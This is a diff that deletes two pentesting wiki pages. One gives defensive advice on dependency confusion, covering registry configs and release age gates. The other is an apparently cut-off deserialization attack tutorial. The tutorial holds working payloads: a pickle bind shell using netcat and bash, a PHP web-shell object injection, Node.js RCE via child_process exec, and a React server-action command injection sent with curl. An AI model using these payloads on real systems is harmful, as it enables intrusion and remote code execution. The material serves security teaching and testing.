-### JavaScript/TypeScript (npm, Yarn, pnpm)
-
-- Use scoped packages for all internal code and pin the scope to your private registry.
-- Keep installs immutable in CI (npm lockfile, `yarn install --immutable`).
-
-.npmrc (project-level)
-```
-# Bind internal scope to private registry; do not allow public fallback for @company/*
-@company:registry=https://registry.corp.example/npm/
-# Always authenticate to the private registry
-//registry.corp.example/npm/:_authToken=${NPM_TOKEN}
-strict-ssl=true
-```
-
-package.json (for internal package)
-```
-{
-  "name": "@company/api-client",
-  "version": "1.2.3",
-  "private": false,
-  "publishConfig": {
-    "registry": "https://registry.corp.example/npm/",
-    "access": "restricted"
-  }
-}
-```
-
-Yarn Berry (.yarnrc.yml)
-```
-npmScopes:
-  company:
-    npmRegistryServer: "https://registry.corp.example/npm/"
-    npmAlwaysAuth: true
-# CI should fail if lockfile would change
-enableImmutableInstalls: true
-```
-
-Operational tips:
-- Only publish internal packages within the `@company` scope.
-- For third-party packages, allow public registry via your private proxy/mirror, not directly from clients.
-- Consider enabling npm package provenance for public packages you publish to increase traceability (doesn’t by itself prevent confusion).
-- For high-risk environments, install with scripts disabled first (`npm ci --ignore-scripts`) and only allow scripts in controlled build stages.
-
-### Python (pip / Poetry)
-
-Core rule: Don’t use `--extra-index-url` to mix trust levels. Either:
-- Expose a single internal index that proxies and caches approved PyPI packages, or
-- Use explicit index selection and hash pinning.
-
-pip.conf
-```
-[global]
-index-url = https://pypi.corp.example/simple
-# Disallow source distributions when possible
-only-binary = :all:
-# Lock with hashes generated via pip-tools
-require-hashes = true
-```
-
-Generate hashed requirements with pip-tools:
-```
-# From pyproject.toml or requirements.in
-pip-compile --generate-hashes -o requirements.txt
-pip install --require-hashes -r requirements.txt
-```
-
-If you must reach public PyPI, do it via your internal proxy and maintain an explicit allowlist there. Avoid `--extra-index-url` in CI.
-
-### .NET (NuGet)
-
-Use Package Source Mapping to tie package ID patterns to explicit sources and prevent resolution from unexpected feeds.
-
-nuget.config
-```
-<?xml version="1.0" encoding="utf-8"?>
-<configuration>
-  <packageSources>
-    <clear />
-    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
-    <add key="corp" value="https://nuget.corp.example/v3/index.json" />
-  </packageSources>
-  <packageSourceMapping>
-    <packageSource key="nuget.org">
-      <package pattern="*" />
-    </packageSource>
-    <packageSource key="corp">
-      <package pattern="Company.*" />
-      <package pattern="Internal.Utilities" />
-    </packageSource>
-  </packageSourceMapping>
-</configuration>
-```
-
-### Java (Maven/Gradle)
-
-Maven settings.xml (mirror all to internal; disallow ad-hoc repos in POMs via Enforcer):
-```
-<settings>
-  <mirrors>
-    <mirror>
-      <id>internal-mirror</id>
-      <mirrorOf>*</mirrorOf>
-      <url>https://maven.corp.example/repository/group</url>
-    </mirror>
-  </mirrors>
-</settings>
-```
-
-Add Enforcer to ban repositories declared in POMs and force usage of your mirror:
-```
-<plugin>
-  <groupId>org.apache.maven.plugins</groupId>
-  <artifactId>maven-enforcer-plugin</artifactId>
-  <version>3.6.1</version>
-  <executions>
-    <execution>
-      <id>enforce-no-repositories</id>
-      <goals><goal>enforce</goal></goals>
-      <configuration>
-        <rules>
-          <requireNoRepositories />
-        </rules>
-      </configuration>
-    </execution>
-  </executions>
-</plugin>
-```
-
-Gradle: Centralize and lock dependencies.
-- Enforce repositories in `settings.gradle(.kts)` only:
-```
-dependencyResolutionManagement {
-  repositoriesMode = RepositoriesMode.FAIL_ON_PROJECT_REPOS
-  repositories {
-    maven { url = uri("https://maven.corp.example/repository/group") }
-  }
-}
-```
-- Enable dependency verification (checksums/signatures) and commit `gradle/verification-metadata.xml`.
-
-### Go Modules
-
-Configure private modules so the public proxy and checksum DB aren’t used for them.
-
-```
-# Use corporate proxy first, then public proxy as fallback
-export GOPROXY=https://goproxy.corp.example,https://proxy.golang.org
-# Mark private paths to skip proxy and checksum db
-export GOPRIVATE=*.corp.example.com,github.com/your-org/*
-export GONOSUMDB=*.corp.example.com,github.com/your-org/*
-```
-
-### Rust (Cargo)
-
-Replace crates.io with an approved internal mirror or vendor directory for builds; do not allow arbitrary public fallback.
-
-.cargo/config.toml
-```
-[source.crates-io]
-replace-with = "corp-mirror"
-
-[source.corp-mirror]
-registry = "https://crates-mirror.corp.example/index"
-```
-
-For publishing, be explicit with `--registry` and keep credentials scoped to the target registry.
-
-### Ruby (Bundler)
-
-Use source blocks and disable multisource Gemfiles so gems come only from the intended repository.
-
-Gemfile
-```
-source "https://gems.corp.example"
-
-source "https://rubygems.org" do
-  gem "rails"
-  gem "pg"
-end
-
-source "https://gems.corp.example" do
-  gem "company-logging"
-end
-```
-
-Enforce at config level:
-```
-bundle config set disable_multisource true
-```
-
-
-## CI/CD and Registry Controls That Help
-
-- Private registry as a single ingress:
-  - Use Artifactory/Nexus/CodeArtifact/GitHub Packages/Azure Artifacts as the only endpoint developers/CI can reach.
-  - Implement block/allow rules so internal namespaces never resolve from upstream public sources.
-- Lockfiles are immutable in CI:
-  - npm: commit `package-lock.json`, use `npm ci`.
-  - Yarn: commit `yarn.lock`, use `yarn install --immutable`.
-  - Python: commit hashed `requirements.txt`, enforce `--require-hashes`.
-  - Gradle: commit `verification-metadata.xml` and fail on unknown artifacts.
-- Outbound egress control: block direct access from CI to public registries except via the approved proxy.
-- Name reservation: pre-register your internal names/namespaces in public registries where supported.
-- Package provenance / attestations: when publishing public packages, enable provenance/attestations to make tampering more detectable downstream.
-
-### Detecting unauthorized publishes in trusted-publisher pipelines
-
-If a package normally uses npm trusted publishing with GitHub Actions or GitLab OIDC, a release pushed with a stolen classic token often looks different from legitimate releases.
-
-Useful heuristics:
-- The package version exists in the registry but lacks the expected trusted-publisher / provenance metadata.
-- There is no matching git tag or release commit for the published version.
-- The package tarball adds a dependency whose only purpose is a lifecycle hook.
-- The newly added dependency is never referenced by the main library source.
-- The lockfile or install logs show `preinstall` / `postinstall` execution shortly before network egress or secret access from a runner.
-
-This is not limited to dependency confusion: it also catches compromise of maintainer credentials or leaked automation tokens.
-
-### Cooldown / age-gate controls for fresh releases
-
-Fresh malicious versions are often detected and removed quickly. Delaying adoption of newly published versions can block a large class of opportunistic supply-chain compromises:
-
-```yaml
-# pnpm-workspace.yaml
-minimumReleaseAge: 10080 # 7 days in minutes
-```
-
-```yaml
-# .yarnrc.yml
-npmMinimalAgeGate: "7d"
-```
-
-```toml
-# bunfig.toml
-[install]
-minimumReleaseAge = 604800 # 7 days in seconds
-```
-
-```ini
-# .npmrc
-min-release-age=7
-```
-
-These controls do **not** replace lockfiles or trusted publishing, but they reduce exposure to packages published minutes or hours earlier.
-
-
-## References
-
-- [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
-- [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
-- [https://learn.microsoft.com/en-us/nuget/consume-packages/package-source-mapping](https://learn.microsoft.com/en-us/nuget/consume-packages/package-source-mapping)
-- [https://yarnpkg.com/configuration/yarnrc/](https://yarnpkg.com/configuration/yarnrc/)
-- [https://www.tenable.com/blog/faq-about-the-axios-npm-supply-chain-attack-by-north-korea-nexus-threat-actor-unc1069](https://www.tenable.com/blog/faq-about-the-axios-npm-supply-chain-attack-by-north-korea-nexus-threat-actor-unc1069)
-- [https://docs.npmjs.com/trusted-publishers/](https://docs.npmjs.com/trusted-publishers/)
-- [https://docs.npmjs.com/generating-provenance-statements](https://docs.npmjs.com/generating-provenance-statements)
-- [https://docs.npmjs.com/cli/v11/using-npm/changelog/](https://docs.npmjs.com/cli/v11/using-npm/changelog/)
-- [https://docs.npmjs.com/cli/v11/commands/npm-exec/](https://docs.npmjs.com/cli/v11/commands/npm-exec/)
-- [https://www.landh.tech/blog/20260521-npx-used-confusion-and-its-super-effective](https://www.landh.tech/blog/20260521-npx-used-confusion-and-its-super-effective)
-- [https://www.aikido.dev/blog/npx-confusion-unclaimed-package-names](https://www.aikido.dev/blog/npx-confusion-unclaimed-package-names)
-- [https://pnpm.io/settings](https://pnpm.io/settings)
-- [https://bun.sh/docs/runtime/bunfig](https://bun.sh/docs/runtime/bunfig)
-
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md
deleted file mode 100644
index 8a3a87c735f..00000000000
--- a/src/pentesting-web/deserialization/README.md
+++ /dev/null
@@ -1,1262 +0,0 @@
-# Deserialization
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic Information
-
-**Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state.
-
-**Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object.
-
-Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process.
-
-## PHP
-
-In PHP, specific magic methods are utilized during the serialization and deserialization processes:
-
-- `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks.
-- `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.
-- `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`.
-- `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections.
-- `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object.
-
-```php
-<?php
-class test {
-    public $s = "This is a test";
-    public function displaystring(){
-        echo $this->s.'<br />';
-    }
-    public function __toString()
-    {
-        echo '__toString method called';
-    }
-    public function __construct(){
-        echo "__construct method called";
-    }
-    public function __destruct(){
-        echo "__destruct method called";
-    }
-    public function __wakeup(){
-        echo "__wakeup method called";
-    }
-    public function __sleep(){
-        echo "__sleep method called";
-        return array("s"); #The "s" makes references to the public attribute
-    }
-}
-
-$o = new test();
-$o->displaystring();
-$ser=serialize($o);
-echo $ser;
-$unser=unserialize($ser);
-$unser->displaystring();
-
-/*
-php > $o = new test();
-__construct method called
-__destruct method called
-php > $o->displaystring();
-This is a test<br />
-
-php > $ser=serialize($o);
-__sleep method called
-
-php > echo $ser;
-O:4:"test":1:{s:1:"s";s:14:"This is a test";}
-
-php > $unser=unserialize($ser);
-__wakeup method called
-__destruct method called
-
-php > $unser->displaystring();
-This is a test<br />
-*/
-?>
-```
-
-If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
-
-> [!WARNING]
-> The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
->
-> ```php
-> class MyClass {
->    private $property;
->
->    public function __unserialize(array $data): void {
->        $this->property = $data['property'];
->        // Perform any necessary tasks upon deserialization.
->    }
-> }
-> ```
-
-You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
-
-### PHP Deserial + Autoload Classes
-
-You could abuse the PHP autoload functionality to load arbitrary php files and more:
-
-
-{{#ref}}
-php-deserialization-+-autoload-classes.md
-{{#endref}}
-
-### Laravel Livewire Hydration Chains
-
-Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without `APP_KEY`) to reach Laravel Queueable/SerializableClosure sinks:
-
-{{#ref}}
-livewire-hydration-synthesizer-abuse.md
-{{#endref}}
-
-### Serializing Referenced Values
-
-If for some reason you want to serialize a value as a **reference to another value serialized** you can:
-
-```php
-<?php
-class AClass {
-    public $param1;
-    public $param2;
-}
-
-$o = new WeirdGreeting;
-$o->param1 =& $o->param22;
-$o->param = "PARAM";
-$ser=serialize($o);
-```
-
-### Preventing PHP Object Injection with `allowed_classes`
-
-> [!INFO]
-> Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated.
-
-`unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise.  Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option:
-
-```php
-// NEVER DO THIS – full object instantiation
-$object = unserialize($userControlledData);
-
-// SAFER – disable object instantiation completely
-$object = unserialize($userControlledData, [
-    'allowed_classes' => false    // no classes may be created
-]);
-
-// Granular – only allow a strict white-list of models
-$object = unserialize($userControlledData, [
-    'allowed_classes' => [MyModel::class, DateTime::class]
-]);
-```
-
-If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE).
-
-#### Real-world example: Everest Forms (WordPress) CVE-2025-52709
-
-The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions:
-
-```php
-function evf_maybe_unserialize($data, $options = array()) {
-    if (is_serialized($data)) {
-        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
-            // SAFE branch (PHP ≥ 7.1)
-            $options = wp_parse_args($options, array('allowed_classes' => false));
-            return @unserialize(trim($data), $options);
-        }
-        // DANGEROUS branch (PHP < 7.1)
-        return @unserialize(trim($data));
-    }
-    return $data;
-}
-```
-
-On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like:
-
-```
-O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
-```
-
-As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution.
-
-**Take-aways**
-1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`.
-2. Audit defensive wrappers – they often forget about the legacy PHP branches.
-3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly.
-
----
-
-### PHPGGC (ysoserial for PHP)
-
-[**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\
-Note than in several cases you **won't be able to find a way to abuse a deserialization in the source code** of the application but you may be able to **abuse the code of external PHP extensions.**\
-So, if you can, check the `phpinfo()` of the server and **search on the internet** (an even on the **gadgets** of **PHPGGC**) some possible gadget you could abuse.
-
-### phar:// metadata deserialization
-
-If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\
-For more information read the following post:
-
-
-{{#ref}}
-../file-inclusion/phar-deserialization.md
-{{#endref}}
-
-## Python
-
-### **Pickle**
-
-When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\
-When exploited, server could return an error.
-
-```python
-import pickle, os, base64
-class P(object):
-    def __reduce__(self):
-        return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
-print(base64.b64encode(pickle.dumps(P())))
-```
-
-Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3.
-
-For more information about escaping from **pickle jails** check:
-
-
-{{#ref}}
-../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
-{{#endref}}
-
-### Yaml **&** jsonpickle
-
-The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
-
-
-{{#ref}}
-python-yaml-deserialization.md
-{{#endref}}
-
-### Class Pollution (Python Prototype Pollution)
-
-
-{{#ref}}
-../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
-{{#endref}}
-
-## NodeJS
-
-### JS Magic Functions
-
-JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\
-If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
-
-Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
-
-```javascript
-// If you can compromise p (returned object) to be a promise
-// it will be executed just because it's the return object of an async function:
-async function test_resolve() {
-  const p = new Promise((resolve) => {
-    console.log("hello")
-    resolve()
-  })
-  return p
-}
-
-async function test_then() {
-  const p = new Promise((then) => {
-    console.log("hello")
-    return 1
-  })
-  return p
-}
-
-test_ressolve()
-test_then()
-//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
-```
-
-### `__proto__` and `prototype` pollution
-
-If you want to learn about this technique **take a look to the following tutorial**:
-
-
-{{#ref}}
-nodejs-proto-prototype-pollution/
-{{#endref}}
-
-### [node-serialize](https://www.npmjs.com/package/node-serialize)
-
-This library allows to serialise functions. Example:
-
-```javascript
-var y = {
-  rce: function () {
-    require("child_process").exec("ls /", function (error, stdout, stderr) {
-      console.log(stdout)
-    })
-  },
-}
-var serialize = require("node-serialize")
-var payload_serialized = serialize.serialize(y)
-console.log("Serialized: \n" + payload_serialized)
-```
-
-The **serialised object** will looks like:
-
-```bash
-{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
-```
-
-You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
-
-Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
-
-![proto and prototype pollution - node-serialize: Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it](<../../images/image (351).png>)
-
-![proto and prototype pollution - node-serialize: Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it](<../../images/image (446).png>)
-
-As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**.
-
-However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\
-Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\
-In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code:
-
-```javascript
-var serialize = require("node-serialize")
-var test = {
-  rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
-}
-serialize.unserialize(test)
-```
-
-As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example:
-
-```javascript
-var serialize = require("node-serialize")
-var test =
-  "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
-serialize.unserialize(test)
-```
-
-You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.
-
-### [funcster](https://www.npmjs.com/package/funcster)
-
-A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used.
-
-Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet:
-
-```javascript
-funcster = require("funcster")
-//Serialization
-var test = funcster.serialize(function () {
-  return "Hello world!"
-})
-console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
-
-//Deserialization with auto-execution
-var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
-funcster.deepDeserialize(desertest1)
-var desertest2 = {
-  __js_function: 'this.constructor.constructor("console.log(1111)")()',
-}
-funcster.deepDeserialize(desertest2)
-var desertest3 = {
-  __js_function:
-    "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
-}
-funcster.deepDeserialize(desertest3)
-```
-
-**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
-
-### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
-
-The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data:
-
-```javascript
-function deserialize(serializedJavascript) {
-  return eval("(" + serializedJavascript + ")")
-}
-```
-
-If this function is used to deserialize objects you can **easily exploit it**:
-
-```javascript
-var serialize = require("serialize-javascript")
-//Serialization
-var test = serialize(function () {
-  return "Hello world!"
-})
-console.log(test) //function() { return "Hello world!" }
-
-//Deserialization
-var test =
-  "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
-deserialize(test)
-```
-
-**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
-
-### Cryo library
-
-In the following pages you can find information about how to abuse this library to execute arbitrary commands:
-
-- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
-- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
-
-### React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
-
-React Server Components (RSC) rely on `react-server-dom-webpack` (RSDW) to decode server action submissions that are sent as `multipart/form-data`. Each action submission contains:
-
-- `$ACTION_REF_<n>` parts that reference the action being invoked.
-- `$ACTION_<n>:<m>` parts whose body is JSON such as `{"id":"module-path#export","bound":[arg0,arg1,...]}`.
-
-In version **19.2.0** the `decodeAction(formData, serverManifest)` helper blindly trusts both the **`id` string** (selecting which module export to call) and the **`bound` array** (the arguments). If an attacker can reach the endpoint that forwards requests to `decodeAction`, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182). The end-to-end recipe is:
-
-1. **Learn the action identifier.** Bundle output, error traces or leaked manifests typically reveal strings like `app/server-actions#generateReport`.
-2. **Recreate the multipart payload.** Craft a `$ACTION_REF_0` part and a `$ACTION_0:0` JSON body carrying the identifier and arbitrary arguments.
-3. **Let `decodeAction` dispatch it.** The helper resolves the module from `serverManifest`, imports the export, and returns a callable that the server immediately executes.
-
-Example payload hitting `/formaction`:
-
-```http
-POST /formaction HTTP/1.1
-Host: target
-Content-Type: multipart/form-data; boundary=----BOUNDARY
-
-------BOUNDARY
-Content-Disposition: form-data; name="$ACTION_REF_0"
-
-------BOUNDARY
-Content-Disposition: form-data; name="$ACTION_0:0"
-
-{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
-------BOUNDARY--
-```
-
-Or with curl:
-
-```bash
-curl -sk -X POST http://target/formaction \
-  -F '$ACTION_REF_0=' \
-  -F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
-```
-
-The `bound` array directly populates the server-action parameters. In the vulnerable lab the gadget looks like:
-
-```javascript
-const { exec } = require("child_process");
-const util = require("util");
-const pexec = util.promisify(exec);
-
-async function generateReport(project, format) {
-  const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
-  const { stdout } = await pexec(cmd);
-  return stdout;
-}
-```
-
-Supplying `format = "pdf & whoami"` makes `/bin/sh -c` run the legitimate report generator and then `whoami`, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the `bound` data.
-
-An attacker never needs a real React client—any HTTP tool that emits the `$ACTION_*` multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.
-
-## Java - HTTP
-
-In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
-
-### Fingerprints
-
-#### White Box
-
-To identify potential serialization vulnerabilities in the codebase search for:
-
-- Classes that implement the `Serializable` interface.
-- Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions.
-
-Pay extra attention to:
-
-- `XMLDecoder` utilized with parameters defined by external users.
-- `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
-- `ObjectInputStream` coupled with the `readObject` method.
-- Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`.
-- `ObjectInputStream.readUnshared`.
-- General use of `Serializable`.
-
-#### Black Box
-
-For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`):
-
-- Hexadecimal pattern: `AC ED 00 05`.
-- Base64 pattern: `rO0`.
-- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`.
-- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`.
-- Base64 pattern indicating prior compression: `H4sIA`.
-- Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
-
-```
-javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
-```
-
-### Check if vulnerable
-
-If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
-
-#### SignedObject-gated deserialization and pre-auth reachability
-
-Modern codebases sometimes wrap deserialization with `java.security.SignedObject` and validate a signature before calling `getObject()` (which deserializes the inner object). This prevents arbitrary top-level gadget classes but can still be exploitable if an attacker can obtain a valid signature (e.g., private-key compromise or a signing oracle). Additionally, error-handling flows may mint session-bound tokens for unauthenticated users, exposing otherwise protected sinks pre-auth.
-
-For a concrete case study with requests, IoCs, and hardening guidance, see:
-
-{{#ref}}
-java-signedobject-gated-deserialization.md
-{{#endref}}
-
-#### White Box Test
-
-You can check if there is installed any application with known vulnerabilities.
-
-```bash
-find . -iname "*commons*collection*"
-grep -R InvokeTransformer .
-```
-
-You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
-You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
-When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.
-
-#### Black Box Test
-
-Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
-[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
-GadgetProbe is focused on **`ObjectInputStream` deserializations**.
-
-Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
-[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
-Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
-
-You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
-[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
-
-**Serialization Test**
-
-Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\
-If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.
-
-### **Exploit**
-
-#### **ysoserial**
-
-The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
-Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
